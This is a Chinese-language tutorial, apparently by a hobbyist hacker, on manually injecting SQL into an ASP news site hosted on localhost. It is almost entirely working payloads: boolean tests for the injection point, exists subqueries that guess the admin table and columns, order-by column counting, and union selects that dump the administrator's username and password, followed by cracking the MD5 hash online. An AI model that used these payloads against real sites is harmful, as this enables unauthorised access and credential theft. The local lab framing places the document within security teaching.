大家好,我是夜虫儿,今天我给大家做一个 asp手工注入的教程
我在本地搭建了一个环境,作为 调试测试使用
首先,我们要想注入首先 要找个注入点,我相信这一点 大家都很熟系
http://localhost:1503/shownews.asp?id=52%20and%201=1 返回正确
http://localhost:1503/shownews.asp?id=52%20and%201=2 返回错误
这就可以判断 http://localhost:1503/shownews.asp?id=52 这里存在注入点
我们接下来就要猜解 数据库中的 管理员所在的表名
http://localhost:1503/shownews.asp?id=52%20and%20exists%20(select%20*%20from%20admin) 这一句的意思就是 猜解 是否存在admin这个表名
如果存在 返回的是正确页面,如果不存在 ,返回的就是错误页面
我们现在可以看到 返回正确 ,说明 的确存在 admin这个表名
下一步 我们就要 猜解 表中的 列名
就是把“*”替换成 我们要猜解的列名
http://localhost:1503/shownews.asp?id=52%20and%20exists%20(select%20username%20from%20admin) 返回正确页面,表示存在username这个列
http://localhost:1503/shownews.asp?id=52%20and%20exists%20(select%20pass%20from%20admin) 返回错误 表示 不存在pass这个列
没关系 ,我们继续 猜解
http://localhost:1503/shownews.asp?id=52%20and%20exists%20(select%20password%20from%20admin) 返回正确页面,表示 存在password这个列
先说一下吧,username 是用来存放 管理员 用户名的列
password是用来 存放 管理员密码的列
现在 我们已经 猜到了这两个列
那么接下来 我们就要 猜解 管理员的用户名 和密码
在这里 我使用联合 查询语句 来猜解
我们先来判断列的长度
等等,换首歌听
不好意思,我们继续开始
http://localhost:1503/shownews.asp?id=52%20order%20by%2010 猜测长度为10 返回正确页面 说明长度是 大于等于10 的
我们继续把数字 增加 呵呵,谁在 说我坏话???
http://localhost:1503/shownews.asp?id=52%20order%20by%2015 返回错误页面,说明 长度在 10到15之间
http://localhost:1503/shownews.asp?id=52%20order%20by%2013 返回错误
说明在10到13 之间
http://localhost:1503/shownews.asp?id=52%20order%20by%2011 返回错误
说明长度是小于11的
刚才我们已经判断了 长度 是大于等于10的
那么 现在我们就可以知道 长度就是 10
http://localhost:1503/shownews.asp?id=52%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10%20from%20admin 现在就开是暴管理员的用户名和密码了
对于新手,就好好看看 我这句的语法,1,2,3,4,5,6,7,8,9,10表示的是长度
from admin 因为我们前面已经猜出了 存在admin这个表名
我们看看页面,发现 在页面上爆出了两个字段的位置
2和3
在这里就需要用到我们刚才猜到的列名了
把2替换成username
http://localhost:1503/shownews.asp?id=52%20and%201=2%20union%20select%201,username,3,4,5,6,7,8,9,10%20from%20admin 直接爆出了 管理员的名字
这个要比工具 猜解 快的多
把3替换成 password
http://localhost:1503/shownews.asp?id=52%20and%201=2%20union%20select%201,username,password,4,5,6,7,8,9,10%20from%20admin 直接爆出管理员密码 这也比工具猜解 快的多多多多多
好了,我们把这个经过md5加密的密码 拿到 www.cdm5.com上去破解吧
破解的明文是:admin888